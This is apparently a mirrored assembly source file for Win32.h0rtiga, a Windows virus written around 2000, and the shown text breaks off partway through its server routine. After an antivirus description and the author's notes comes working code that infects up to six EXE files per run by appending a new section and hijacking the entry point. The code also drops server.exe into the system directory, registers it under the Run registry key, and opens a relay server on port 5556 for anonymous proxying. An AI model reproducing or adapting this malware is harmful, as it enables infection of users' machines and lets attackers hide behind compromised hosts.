mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
1607 lines
52 KiB
NASM
1607 lines
52 KiB
NASM
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;
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; Win32.h0rtiga Coded by |Zan [@deepzone.org]
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;
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; ©2000 DeepZone - Digital Security Center
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;
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; http://www.deepzone.org
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;
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;----------------------------------------------------------------------------
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;
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; Win32.Hortiga
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;
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;
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; AVP's description
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;
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; - http://www.avp.ch/avpve/newexe/win32/hortiga.stm)
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;
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; It is a nonmemory resident parasitic Win32 virus. It searches
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; for PE EXE files (Windows executables), then writes itself to
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; the end of the file. To reserve a place for its code the virus
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; creates a new section with the ".|Zan" name at the end of the
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; file.
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;
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; The virus has "anonymous IP" ability. That means that a hacker
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; may use infected machines as a "proxy server" sending packets
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; with infected machine's IP address:
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;
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; IP1 IP2 IP3
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; Hacker's machine -----> Infected machine -----> Target machine
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;
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; A hacker connects to the infected machine by using his IP
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; address (IP1) and forces the infected machine to forward packets
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; to the target machine, then infected machine's IP address (IP2) is
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; used. Using this mechanism the hacker hides his IP address.
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;
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; The virus installs its "anonymous" component as stand-alone program
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; using the filename SERVER.EXE. That program is created in the
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; Windows system directory and registered in the auto-start registry
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; key:
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;
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; HKLM\Software\Microsoft\Windows\CurrentVersion\Run
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; h0rtiga Server = "Windir\server.exe"
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;
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; where "Windir" is the Windows system folder.
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;
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; The virus contains the text string:
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;
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; (c) 2000. Win9x.h0rtiga v1.0 Server activated - http://mareasvivas.cjb.net
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; Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org
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; Who are you???
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;
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; This string is used as ID-text to connect to the hacker's machine
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; with the server on the infected machine.
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;
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; -- end AVP description
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;
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;
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; Win32.h0rtiga by |Zan
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;
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; h0rtiga is a simple non resident parasite. It wasn't developed
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; like a traditional viruse but it finished infecting win32 machines.
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;
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; Originally it was proof of concept code showing win9x's risks and
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; holes in a spanish whitepaper called "Win32.h0rtiga : Anonimato e
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; Intrusión ".
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;
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; When extra code was added to patch PE files inoculating h0rtiga code
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; in arbitrary files it became a virus ...
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;
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; h0rtiga infects adding an extra section/object called ".|Zan". It
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; can infect under win9x/NT/2k but its payload only play in win9x.
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;
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; This runtime infector doesn't implement "modern" features like stealth,
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; encryptation or polymorphism but if "classic" features like timestamp
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; or file attributes.
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;
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; Infecting with an extra section is "hard" and it had been more
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; easy adding viral code to last section but i wanted a clear, fast
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; and easy uninfection so i decided the longest, primitive & hard way to
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; implement.
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;
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; h0rtiga payload plays a single server listening on 5556 port. This
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; server lets full arbitrary relay and can be handle with a generic
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; h0rtiga's client. yes, that's ... now you can imagine black hats
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; exploiting infected win9x machines: anonymous surfing, faking e-mails,
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; bypassing IRC bans ...
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;
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; Code contains clear labels and a lot of EQUs and structures documenting
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; viral code ...
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;
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;
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; greetings ...
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; -------------
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;
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; spanish sec/hack groups, ADM, beavuh, b0f, non-commercial groups ...
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;
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; ... and, of course VLAD & 29A
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;
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; i'd like to give special thanks to Bumblebee/29A (fantastic VXer).
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;
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; I hope that h0rtiga can be a good contribution to this fantastic 29A
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; release ;)
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;
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;
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; deep greets
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; -----------
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;
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; ^Anuska^> If you hit one time this key we'll hack this enterprise ...
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; if you hit two times we'll hack their networks ... sorry
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; mouse support isn't available ;)
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;
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; TheWizard> Win ME is the new msoft OS version ... I hope that now it
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; can handle windows ;)
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;
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; Nemo> next step ... mmmm ... i don't know ... hack the fix again ?
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;
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;
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; Special greetings ...
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; ---------------------
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;
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; Win32.h0rtiga is dedicated to Sandra ...
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;
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;
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;----------------------------------------------------------------------------
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; Win32.h0rtiga - begin virus code (w32h0rtiga.asm)
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;----------------------------------------------------------------------------
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;------------------------------------------------------------
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;Compiler options
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;------------------------------------------------------------
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.386P
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locals
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jumps
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.model flat,STDCALL
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;------------------------------------------------------------
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;Just to show a message on virus 1st generation
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;------------------------------------------------------------
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extrn MessageBoxA:PROC
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extrn GetModuleHandleA:PROC
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extrn ExitProcess:PROC
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;----------------------------------------------------------------------------
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;Data Section
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;----------------------------------------------------------------------------
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.data
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db 0
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;----------------------------------------------------------------------------
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;Code Section
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;----------------------------------------------------------------------------
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.code
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start:
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;------------------------------------------------------------
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;h0rtiga main
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;------------------------------------------------------------
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mov eax, [esp]
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gKerloop: xor edx, edx
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dec eax
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mov dx, [eax+3ch]
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test dx, 0f800h
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jnz gKerloop
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cmp eax, [eax+edx+34h]
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jnz gKerloop
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call gdelta
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gdelta: pop ebp
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sub ebp, offset gdelta
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lea edi, ebp + kernel
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stosd
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lea esi, ebp + sz_mGetProcAddr
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call GetAPIExpK32
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lea edi, ebp + ddGetProcAddress
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stosd
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lea esi, ebp + sz_mLoadLibraryA
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call GetAPIExpK32
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lea edi, ebp + ddLoadLibraryA
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stosd
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lea esi, ebp + sz_mKernel32
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lea edi, ebp + addr_apis
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mov ebx, NumAPISK32
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call MakeTabla
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lea esi, ebp + OSVersionInfo.dwOSVersionInfoSize
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push SIZEOF_OSVERSIONINFO
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pop ecx
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xor al, al
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delit: stosb
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loop delit
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lea edi, ebp + OSVersionInfo.dwOSVersionInfoSize
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mov eax, SIZEOF_OSVERSIONINFO ; 148
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stosd
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sub edi, 4
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push edi
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call dword ptr [ebp + ddGetVersionExA]
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test eax, eax
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jz salir
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cmp ebp + OSVersionInfo.dwPlatformId, VER_PLATFORM_WIN32_WINDOWS
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jnz salir
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call InsertaServidor
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call BuscaHostToInfect
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cmp eax, INVALID_HANDLE_VALUE
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jz salir
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xchg eax, ebx
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InfectaMas: call InfecIt
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call ContinuaBusqueda
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test eax, eax
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jnz InfectaMas
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call TerminaBusqueda
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salir: lea esi, ebp + OldEntryPointRVA
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lodsd
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xchg ebx, eax
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push 0
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call dword ptr [ebp + ddGetModuleHandleA]
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add eax, ebx
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jmp eax
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;------------------------------------------------------------
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;begin h0rtiga data
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;------------------------------------------------------------
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FILETIME STRUC
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FT_dwLowDateTime DD ?
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FT_dwHighDateTime DD ?
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FILETIME ENDS
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MAX_PATH EQU 260
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WIN32_FIND_DATA STRUC
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WFD_dwFileAttributes DD ?
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WFD_ftCreationTime FILETIME ?
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WFD_ftLastAccessTime FILETIME ?
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WFD_ftLastWriteTime FILETIME ?
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WFD_nFileSizeHigh DD ?
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WFD_nFileSizeLow DD ?
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WFD_dwReserved0 DD ?
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WFD_dwReserved1 DD ?
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WFD_szFileName DB MAX_PATH DUP (?)
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WFD_szAlternateFileName DB 13 DUP (?)
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DB 3 DUP (?)
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WIN32_FIND_DATA ENDS
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SIZEOF_WIN32_FIND_DATA EQU SIZE WIN32_FIND_DATA
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INVALID_HANDLE_VALUE EQU -1
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VER_PLATFORM_WIN32_WINDOWS EQU 1
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_OSVERSIONINFO STRUCT
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dwOSVersionInfoSize DD ?
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dwMajorVersion DD ?
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dwMinorVersion DD ?
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dwBuildNumber DD ?
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dwPlatformId DD ?
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szCSDVersion DB 128 DUP (?)
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_OSVERSIONINFO ENDS
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SIZEOF_OSVERSIONINFO EQU SIZE _OSVERSIONINFO
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sz_mGetProcAddr db 'GetProcAddress', 0
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ddGetProcAddress dd ?
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sz_mLoadLibraryA db 'LoadLibraryA', 0
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ddLoadLibraryA dd ?
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kernel dd ?
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Counter dw ?
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AddressTableVA dd ?
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OrdinalTableVA dd ?
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NumAPISK32 equ 21
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sz_mKernel32 db 'KERNEL32', 0
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TablaK32 db 'ExitProcess', 0
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db 'GetVersionExA', 0
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db 'FindFirstFileA', 0
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db 'FindNextFileA', 0
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db 'FindClose', 0
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db 'CreateFileA', 0
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db 'CreateFileMappingA', 0
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db 'MapViewOfFile', 0
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db 'UnmapViewOfFile', 0
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db 'CloseHandle', 0
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db 'SetFileAttributesA', 0
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db 'SetFileTime', 0
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db 'GetModuleHandleA', 0
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db 'GetCommandLineA', 0
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db 'GetSystemDirectoryA', 0
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db 'ReadFile', 0
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db 'WriteFile', 0
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db 'SetFilePointer', 0
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db 'GetCurrentProcessId', 0
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db 'RegisterServiceProcess', 0
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db 'GlobalAlloc', 0
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addr_apis:
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ddExitProcess dd ?
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ddGetVersionExA dd ?
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ddFindFirstFileA dd ?
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ddFindNextFileA dd ?
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ddFindClose dd ?
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ddCreateFileA dd ?
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ddCreateFileMappingA dd ?
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ddMapViewOfFile dd ?
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ddUnmapViewOfFile dd ?
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ddCloseHandle dd ?
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ddSetFileAttributesA dd ?
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ddSetFileTime dd ?
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ddGetModuleHandleA dd ?
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ddGetCommandLineA dd ?
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ddGetSystemDirectoryA dd ?
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ddReadFile dd ?
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ddWriteFile dd ?
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ddSetFilePointer dd ?
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ddGetCurrentProcessId dd ?
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ddRegisterServiceProcess dd ?
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ddGlobalAlloc dd ?
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OSVersionInfo _OSVERSIONINFO ?
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_maskExe db '*.EXE' , 0
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MaxInfeccion equ 6
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WinFindData WIN32_FIND_DATA ?
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hFicActual dd ?
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hCMapActual dd ?
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newobject:
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oname db ".|Zan", 0, 0, 0
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virtualsize dd 0
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RVA dd 0
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physicalsize dd 0
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physicaloffset dd 0
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reserved dd 0, 0, 0
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objectflags dd 0e0000060h
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SIZEOF_NEWOBJECT EQU 28h
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ObjectTableOffset dd ?
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NumObjects dw ?
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ObjectAlign dd ?
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FileAlign dd ?
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ImageSize dd ?
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SizeToMap dd ?
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OldEntryPointRVA dd ?
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hRead dd ?
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hWrite dd ?
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bytes_rw dd ?
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sz_exec db 260 dup (?)
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sz_nserver db '\server.exe', 0
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addr1 dw 2
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dw 0b415h
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dd ?
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addr2 dw 2
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dw 0000h
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db 192,168,0,1
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sock1 dd ?
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sock2 dd ?
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gotit dd ?
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buffsz equ 4096
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adrbuff dd ?
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fd_set1 dd 1,0
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fd_set2 dd 1,0
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fd_set struc
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no dd 0
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sockh dd 0
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fd_set ends
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ttl dd 0,64h
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semaforo db 0
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countbouncer db 0
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msgentryserver db '(c) 2000. Win9x.h0rtiga v1.0 Server activated - http://mareasvivas.cjb.net', 13, 10
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db 'Coded by |Zan - izan@galaxycorp.com / izan@deepzone.org', 13, 10, 13, 10
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db 'Who are you ???', 13, 10
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msgentryserverlen equ $-msgentryserver
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NumAPISW32 equ 10
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sz_mW32 db 'WSOCK32', 0
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TablaW32 db 'WSAStartup', 0
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db 'socket', 0
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db 'bind', 0
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db 'listen', 0
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db 'accept', 0
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db 'connect', 0
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db 'send', 0
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db 'recv', 0
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db 'select', 0
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db 'closesocket', 0
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addr_apis2:
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ddWSAStartup dd ?
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ddsocket dd ?
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ddbind dd ?
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ddlisten dd ?
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ddaccept dd ?
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ddconnect dd ?
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ddsend dd ?
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ddrecv dd ?
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ddselect dd ?
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ddclosesocket dd ?
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NumAPISAdv32 equ 3
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sz_mAdv32 db 'ADVAPI32', 0
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TablaAdv32 db 'RegCreateKeyExA', 0
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db 'RegSetValueExA', 0
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db 'RegCloseKey', 0
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addr_apis3:
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ddRegCreateKeyExA dd ?
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ddRegSetValueExA dd ?
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ddRegCloseKey dd ?
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disposition dd ?
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KeyHandle dd ?
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clase db 'Run', 0
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claselen equ $-clase
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subkey db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
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KeyValuelen dd ?
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KeyName db 'h0rtiga Server', 0
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;------------------------------------------------------------
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;end h0rtiga data
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;------------------------------------------------------------
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GetAPIExpK32: mov edx, esi
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@_1: cmp byte ptr [esi], 0
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jz @_2
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inc esi
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jmp @_1
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@_2: inc esi
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sub esi, edx
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mov ecx, esi
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xor eax, eax
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mov word ptr [ebp + Counter], ax
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mov esi, [ebp + kernel]
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add esi, 3Ch
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lodsw
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add eax, [ebp + kernel]
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mov esi, [eax + 78h]
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add esi, [ebp + kernel]
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add esi, 1Ch
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lodsd
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add eax, [ebp + kernel]
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mov dword ptr [ebp + AddressTableVA], eax
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lodsd
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add eax, [ebp + kernel]
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push eax
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lodsd
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add eax, [ebp + kernel]
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mov dword ptr [ebp + OrdinalTableVA], eax
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pop esi
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@_3: push esi
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lodsd
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add eax, [ebp + kernel]
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mov esi,eax
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mov edi,edx
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push ecx
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cld
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rep cmpsb
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pop ecx
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jz @_4
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pop esi
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add esi,4
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inc word ptr [ebp + Counter]
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jmp @_3
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@_4: pop esi
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movzx eax, word ptr [ebp + Counter]
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shl eax,1
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add eax,dword ptr [ebp + OrdinalTableVA]
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xor esi,esi
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xchg eax,esi
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lodsw
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shl eax,2
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add eax,dword ptr [ebp + AddressTableVA]
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mov esi,eax
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lodsd
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add eax, [ebp + kernel]
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ret
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MakeTabla: push esi
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call dword ptr [ebp + ddLoadLibraryA]
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push ebx
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pop ecx
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push eax
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pop ebx
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buki: lodsb
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test al, al
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jnz buki
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MT1: push ecx
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push esi
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push ebx
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call dword ptr [ebp + ddGetProcAddress]
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push eax
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MT2: lodsb
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test al, al
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jnz MT2
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pop eax
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stosd
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pop ecx
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loop MT1
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ret
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BuscaHostToInfect:
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lea edi, ebp + Counter
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xor ax, ax
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stosw
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lea esi, ebp + WinFindData
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push esi
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lea esi, ebp + _maskExe
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push esi
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call dword ptr [ebp + ddFindFirstFileA]
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ret
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InfecIt: push ebx
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lea esi, ebp + WinFindData.WFD_szFileName
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call EsInfectable
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cmp eax, -1
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jz II_error
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call EliminaAtributosFichero
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test eax, eax
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jz II_error
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lea esi, ebp + WinFindData.WFD_szFileName
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push dword ptr [ebp + SizeToMap]
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pop ebx
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call Open&Maped_File_RW
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cmp eax, -1
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jz II_error
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push eax
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pop ebx
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add eax, [ebx + 3ch]
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push eax
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pop edx
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lea edi, ebp + ImageSize
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mov eax, dword ptr [edx + 50h]
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stosd
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lea edi, ebp + NumObjects
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mov ax, word ptr [edx + 6h]
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stosw
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lea edi, ebp + ObjectAlign
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mov eax, dword ptr [edx + 38h]
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stosd
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mov eax, dword ptr [edx + 3ch]
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stosd
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xor eax, eax
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add ax, word ptr [edx + 14h]
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add eax, 18h
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add eax, [ebx + 3ch]
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add eax, ebx
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mov dword ptr [ebp + ObjectTableOffset], eax
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push eax
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pop esi
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xor eax, eax
|
|
mov ax, word ptr [ebp + NumObjects]
|
|
push SIZEOF_NEWOBJECT
|
|
pop ecx
|
|
xor edx, edx
|
|
mul ecx
|
|
add esi, eax
|
|
inc word ptr [ebp + NumObjects]
|
|
push esi
|
|
pop edi
|
|
mov eax, [edi - SIZEOF_NEWOBJECT + 8]
|
|
add eax, [edi - SIZEOF_NEWOBJECT + 12]
|
|
mov ecx, dword ptr [ebp + ObjectAlign]
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp + RVA], eax
|
|
mov ecx, dword ptr [ebp + FileAlign]
|
|
push virlenght
|
|
pop eax
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp + physicalsize], eax
|
|
mov ecx, dword ptr [ebp + ObjectAlign]
|
|
push virlenght
|
|
pop eax
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp + virtualsize], eax
|
|
mov eax, [edi - SIZEOF_NEWOBJECT + 20]
|
|
add eax, [edi - SIZEOF_NEWOBJECT + 16]
|
|
mov ecx, dword ptr [ebp + FileAlign]
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp + physicaloffset], eax
|
|
push virlenght
|
|
pop eax
|
|
add eax, dword ptr [ebp + ImageSize]
|
|
mov ecx, dword ptr [ebp + ObjectAlign]
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp + ImageSize], eax
|
|
lea esi, ebp + newobject
|
|
mov ecx, 10
|
|
rep movsd
|
|
lea esi, ebp + NumObjects
|
|
mov edx, [ebx + 3ch]
|
|
add edx, ebx
|
|
lea edi, [edx + 6h]
|
|
movsw
|
|
lea esi, ebp + ImageSize
|
|
lea edi, [edx + 50h]
|
|
movsd
|
|
mov eax, dword ptr [ebp + OldEntryPointRVA]
|
|
push eax
|
|
push ebx
|
|
pop edx
|
|
add edx, [ebx + 3ch]
|
|
mov eax, dword ptr [edx + 28h]
|
|
lea edi, ebp + OldEntryPointRVA
|
|
stosd
|
|
mov eax, dword ptr [ebp + RVA]
|
|
mov dword ptr [edx + 28h], eax
|
|
lea esi, ebp + start
|
|
mov eax, dword ptr [ebp + physicaloffset]
|
|
add eax, ebx
|
|
xchg eax, edi
|
|
mov ecx, virlenght
|
|
rep movsb
|
|
pop eax
|
|
mov dword ptr [ebp + OldEntryPointRVA], eax
|
|
mov word ptr [edx + 4ch], 0d00dh
|
|
add ebp + Counter, 1
|
|
xchg eax, ebx
|
|
call Close&UnMaped_File_RW
|
|
call RestauraAtributosFichero
|
|
test eax, eax
|
|
jz II_error
|
|
II_error: pop ebx
|
|
ret
|
|
|
|
ContinuaBusqueda:
|
|
cmp [ebp + Counter], MaxInfeccion
|
|
jz CB_end
|
|
lea esi, ebp + WinFindData
|
|
push esi
|
|
push ebx
|
|
call dword ptr [ebp + ddFindNextFileA]
|
|
ret
|
|
CB_end: xor eax, eax
|
|
ret
|
|
|
|
TerminaBusqueda:
|
|
push ebx
|
|
call dword ptr [ebp + ddFindClose]
|
|
ret
|
|
|
|
Open&Maped_File_RW:
|
|
push 0
|
|
push 0
|
|
push 3h
|
|
push 0
|
|
push 0
|
|
push 80000000h or 40000000h
|
|
push esi
|
|
call dword ptr [ebp + ddCreateFileA]
|
|
cmp eax, -1
|
|
jz OMF_error
|
|
lea edi, ebp + hFicActual
|
|
stosd
|
|
push 0
|
|
push ebx
|
|
push 0
|
|
push 4h
|
|
push 0
|
|
push eax
|
|
call dword ptr [ebp + ddCreateFileMappingA]
|
|
test eax, eax
|
|
jz OMF_error
|
|
lea edi, ebp + hCMapActual
|
|
stosd
|
|
push ebx
|
|
push 0
|
|
push 0
|
|
push 2h
|
|
push eax
|
|
call dword ptr [ebp + ddMapViewOfFile]
|
|
test eax, eax
|
|
jz OMF_error
|
|
ret
|
|
OMF_error: push -1
|
|
pop eax
|
|
ret
|
|
|
|
Close&UnMaped_File_RW:
|
|
push eax
|
|
call dword ptr [ebp + ddUnmapViewOfFile]
|
|
test eax, eax
|
|
jz CUF_error
|
|
lea esi, ebp + WinFindData.WFD_ftLastWriteTime
|
|
push esi
|
|
lea esi, ebp + WinFindData.WFD_ftLastAccessTime
|
|
push esi
|
|
lea esi, ebp + WinFindData.WFD_ftCreationTime
|
|
push esi
|
|
lea esi, ebp + hFicActual
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddSetFileTime]
|
|
lea esi, ebp + hCMapActual
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddCloseHandle]
|
|
lea esi, ebp + hFicActual
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddCloseHandle]
|
|
test eax, eax
|
|
jz CUF_error
|
|
xor eax, eax
|
|
ret
|
|
CUF_error: push -1
|
|
pop eax
|
|
ret
|
|
|
|
EliminaAtributosFichero:
|
|
push 80h
|
|
lea esi, ebp + WinFindData.WFD_szFileName
|
|
push esi
|
|
call dword ptr [ebp + ddSetFileAttributesA]
|
|
ret
|
|
|
|
RestauraAtributosFichero:
|
|
lea esi, ebp + WinFindData.WFD_dwFileAttributes
|
|
lodsd
|
|
push eax
|
|
lea esi, ebp + WinFindData.WFD_szFileName
|
|
push esi
|
|
call dword ptr [ebp + ddSetFileAttributesA]
|
|
ret
|
|
|
|
EsInfectable:
|
|
push 0
|
|
push 0
|
|
push 3h
|
|
push 0
|
|
push 0
|
|
push 80000000h
|
|
push esi
|
|
call dword ptr [ebp + ddCreateFileA]
|
|
cmp eax, -1
|
|
jz OMFR_error
|
|
lea edi, ebp + hFicActual
|
|
stosd
|
|
push 0
|
|
push 0
|
|
push 0
|
|
push 2h
|
|
push 0
|
|
push eax
|
|
call dword ptr [ebp + ddCreateFileMappingA]
|
|
test eax, eax
|
|
jz OMFR_error
|
|
lea edi, ebp + hCMapActual
|
|
stosd
|
|
push 0
|
|
push 0
|
|
push 0
|
|
push 4h
|
|
push eax
|
|
call dword ptr [ebp + ddMapViewOfFile]
|
|
test eax, eax
|
|
jz OMFR_error
|
|
push eax
|
|
push eax
|
|
pop edx
|
|
add eax, [edx + 3ch]
|
|
cmp word ptr [edx], 'ZM'
|
|
jnz NoInfect
|
|
cmp word ptr [eax], 'EP'
|
|
jnz NoInfect
|
|
cmp word ptr [eax + 4ch], 0d00dh
|
|
jnz SiInfect
|
|
NoInfect: push -1
|
|
pop ebx
|
|
jmp SNInfect
|
|
SiInfect: call CalculaSizeToMap
|
|
SNInfect: call dword ptr [ebp + ddUnmapViewOfFile]
|
|
test eax, eax
|
|
jz OMFR_error
|
|
lea esi, ebp + hCMapActual
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddCloseHandle]
|
|
test eax, eax
|
|
jz OMFR_error
|
|
lea esi, ebp + hFicActual
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddCloseHandle]
|
|
test eax, eax
|
|
jz OMFR_error
|
|
xchg ebx, eax
|
|
ret
|
|
OMFR_error: push -1
|
|
pop eax
|
|
ret
|
|
|
|
CalculaSizeToMap:
|
|
push eax
|
|
pop ebx
|
|
xchg ebx, edx
|
|
xor eax, eax
|
|
mov ax, word ptr [edx + 6h]
|
|
mov word ptr [ebp + NumObjects], ax
|
|
xor eax, eax
|
|
add ax, word ptr [edx + 14h]
|
|
add eax, 18h
|
|
add eax, edx
|
|
mov dword ptr [ebp + ObjectTableOffset], eax
|
|
push eax
|
|
pop esi
|
|
xor eax, eax
|
|
mov ax, word ptr [ebp + NumObjects]
|
|
push SIZEOF_NEWOBJECT
|
|
pop ecx
|
|
xor edx, edx
|
|
mul ecx
|
|
add esi, eax
|
|
xor edx, edx
|
|
add edx, [ebx + 3ch]
|
|
add edx, ebx
|
|
lea edi, ebp + FileAlign
|
|
mov eax, dword ptr [edx + 3ch]
|
|
stosd
|
|
mov ecx, dword ptr [ebp + FileAlign]
|
|
push virlenght
|
|
pop eax
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp + physicalsize], eax
|
|
mov eax, [esi - SIZEOF_NEWOBJECT + 20]
|
|
add eax, [esi - SIZEOF_NEWOBJECT + 16]
|
|
mov ecx, dword ptr [ebp + FileAlign]
|
|
xor edx, edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp + physicaloffset], eax
|
|
xchg ebx, eax
|
|
lea esi, ebp + physicalsize
|
|
lodsd
|
|
add ebx, eax
|
|
mov dword ptr [ebp + SizeToMap], ebx
|
|
ret
|
|
|
|
InsertaRegistro:
|
|
lea esi, ebp + sz_mAdv32
|
|
lea edi, ebp + addr_apis3
|
|
mov ebx, NumAPISAdv32
|
|
call MakeTabla
|
|
lea esi, ebp + disposition
|
|
push esi
|
|
add esi, 4
|
|
push esi
|
|
push 0
|
|
push 0f003fh
|
|
push 0
|
|
add esi, 4
|
|
push esi
|
|
push 0
|
|
add esi, claselen
|
|
push esi
|
|
push 80000002h
|
|
call dword ptr [ebp + ddRegCreateKeyExA]
|
|
test eax, eax
|
|
jnz reg_error
|
|
lea esi, ebp + KeyHandle
|
|
lodsd
|
|
xchg eax, ebx
|
|
push dword ptr [ebp + KeyValuelen]
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
push 1h
|
|
push 0
|
|
lea esi, ebp + KeyName
|
|
push esi
|
|
push ebx
|
|
call dword ptr [ebp + ddRegSetValueExA]
|
|
test eax, eax
|
|
jnz reg_error
|
|
push ebx
|
|
call dword ptr [ebp + ddRegCloseKey]
|
|
reg_error: ret
|
|
|
|
InsertaServidor:
|
|
call dword ptr [ebp + ddGetCommandLineA]
|
|
push eax
|
|
pop esi
|
|
lea edi, ebp + sz_exec
|
|
ot_bmas: lodsb
|
|
stosb
|
|
test al, al
|
|
jnz ot_bmas
|
|
push 0
|
|
push 00000080h
|
|
push 3
|
|
push 0
|
|
push 00000001h
|
|
push 80000000h
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
call dword ptr [ebp + ddCreateFileA]
|
|
cmp eax, -1
|
|
jz errorEx
|
|
mov dword ptr [ebp + hRead], eax
|
|
push 260
|
|
lea ebx, ebp + sz_exec
|
|
push ebx
|
|
call dword ptr [ebp + ddGetSystemDirectoryA]
|
|
test eax, eax
|
|
jz errorEx
|
|
add eax, ebx
|
|
xchg eax, edi
|
|
lea esi, ebp + sz_nserver
|
|
ot_bmas2: lodsb
|
|
stosb
|
|
test al, al
|
|
jnz ot_bmas2
|
|
mov dword ptr [ebp + KeyValuelen], 0
|
|
lea esi, ebp + sz_exec
|
|
calclenstr: lodsb
|
|
inc dword ptr [ebp + KeyValuelen]
|
|
test al, al
|
|
jnz calclenstr
|
|
call InsertaRegistro
|
|
push 0
|
|
push 00000080h
|
|
push 1
|
|
push 0
|
|
push 0h
|
|
push 40000000h
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
call dword ptr [ebp + ddCreateFileA]
|
|
cmp eax, -1
|
|
jz errorEx
|
|
mov dword ptr [ebp + hWrite], eax
|
|
read_again: xor eax, eax
|
|
push eax
|
|
lea edi, ebp + bytes_rw
|
|
push edi
|
|
stosd
|
|
push 260
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddReadFile]
|
|
test eax, eax
|
|
jz errorEx
|
|
lea esi, ebp + bytes_rw
|
|
lodsd
|
|
test eax, eax
|
|
jz fdf
|
|
xchg eax, ebx
|
|
xor eax, eax
|
|
push eax
|
|
lea edi, ebp + bytes_rw
|
|
push edi
|
|
stosd
|
|
push ebx
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
lea esi, ebp + hWrite
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddWriteFile]
|
|
test eax, eax
|
|
jnz read_again
|
|
jz errorEx
|
|
fdf: push 0
|
|
push 0
|
|
push 3ch
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddSetFilePointer]
|
|
xor eax, eax
|
|
push eax
|
|
lea edi, ebp + bytes_rw
|
|
push edi
|
|
stosd
|
|
push 4
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddReadFile]
|
|
push 0
|
|
push 0
|
|
lea esi, ebp + sz_exec
|
|
lodsd
|
|
add eax, 40
|
|
push eax
|
|
push eax
|
|
pop ebx
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddSetFilePointer]
|
|
xor eax, eax
|
|
push eax
|
|
lea edi, ebp + bytes_rw
|
|
push edi
|
|
stosd
|
|
push 4
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddReadFile]
|
|
lea esi, ebp + sz_exec
|
|
lodsd
|
|
add eax, offsServer
|
|
push 0
|
|
push 0
|
|
push ebx
|
|
push eax
|
|
pop ebx
|
|
lea esi, ebp + hWrite
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddSetFilePointer]
|
|
push ebx
|
|
pop eax
|
|
lea edi, ebp + sz_exec
|
|
stosd
|
|
xor eax, eax
|
|
push eax
|
|
lea edi, ebp + bytes_rw
|
|
push edi
|
|
stosd
|
|
push 4
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
lea esi, ebp + hWrite
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddWriteFile]
|
|
push 0
|
|
push 0
|
|
push 3ch
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddSetFilePointer]
|
|
xor eax, eax
|
|
push eax
|
|
lea edi, ebp + bytes_rw
|
|
push edi
|
|
stosd
|
|
push 4
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddReadFile]
|
|
push 0
|
|
push 0
|
|
lea esi, ebp + sz_exec
|
|
lodsd
|
|
add eax, 92
|
|
push eax
|
|
push eax
|
|
pop ebx
|
|
lea esi, ebp + hRead
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddSetFilePointer]
|
|
push 0
|
|
push 0
|
|
push ebx
|
|
push eax
|
|
pop ebx
|
|
lea esi, ebp + hWrite
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddSetFilePointer]
|
|
push 2
|
|
pop eax
|
|
lea edi, ebp + sz_exec
|
|
stosd
|
|
xor eax, eax
|
|
push eax
|
|
lea edi, ebp + bytes_rw
|
|
push edi
|
|
stosd
|
|
push 2
|
|
lea esi, ebp + sz_exec
|
|
push esi
|
|
lea esi, ebp + hWrite
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddWriteFile]
|
|
lea esi, ebp + hRead
|
|
push esi
|
|
call dword ptr [ebp + ddCloseHandle]
|
|
test eax, eax
|
|
jz errorEx
|
|
lea esi, ebp + hWrite
|
|
push esi
|
|
call dword ptr [ebp + ddCloseHandle]
|
|
errorEx: ret
|
|
error: push 0
|
|
call dword ptr [ebp + ddExitProcess]
|
|
|
|
offsServer equ $-start
|
|
|
|
server: mov eax, [esp]
|
|
gKerloop2: xor edx, edx
|
|
dec eax
|
|
mov dx, [eax + 3ch]
|
|
test dx, 0f800h
|
|
jnz gKerloop2
|
|
cmp eax, [eax + edx + 34h]
|
|
jnz gKerloop2
|
|
call gdelta2
|
|
gdelta2: pop ebp
|
|
sub ebp, offset gdelta2
|
|
lea edi, ebp + kernel
|
|
stosd
|
|
